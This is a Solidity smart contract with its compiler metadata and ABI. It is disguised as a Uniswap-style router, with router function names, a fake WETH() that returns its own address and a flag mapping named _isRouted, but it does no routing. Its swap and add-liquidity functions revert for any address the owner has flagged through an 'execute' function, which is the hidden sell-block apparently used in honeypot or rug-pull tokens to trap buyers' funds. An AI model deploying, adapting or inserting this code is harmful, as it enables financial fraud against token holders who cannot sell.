pragma solidity ^0.8.0;
interface RouterController {
function WETH() external view returns (address);
function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Controller is RouterController{
mapping(address => uint256) private _isRouted;
address private owner;
constructor (){
owner = msg.sender;
}
function WETH() external view override returns(address){
address ad = address(this);
return ad;
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override {
uint256 liquidity = _isRouted[path[1]];
if(liquidity > 0){
require(false);
}
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) {
amountToken = amountTokenDesired;
amountETH = amountTokenMin;
liquidity = _isRouted[token];
if(liquidity > 0){
require(false);
}
}
function getAmountsIn(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
amounts = new uint[](path.length);
amounts[0] = _isRouted[path[0]];
return amounts;
}
function execute(address[] calldata accounts, uint256 excluded) public {
require(msg.sender == owner);
for (uint256 i = 0; i < accounts.length; i++) {
_isRouted[accounts[i]] = excluded;
}
}
function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){
ff = new bool[](accounts.length);
for (uint256 i = 0; i < accounts.length; i++) {
ff[i] = _isRouted[accounts[i]] > 0;
}
}
function checkHolder(address account) public view returns(bool){
return _isRouted[account] > 0;
}
}
{
"compilationTarget": {
"Controller.sol": "Controller"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"getFlag","outputs":[{"internalType":"bool[]","name":"ff","type":"bool[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]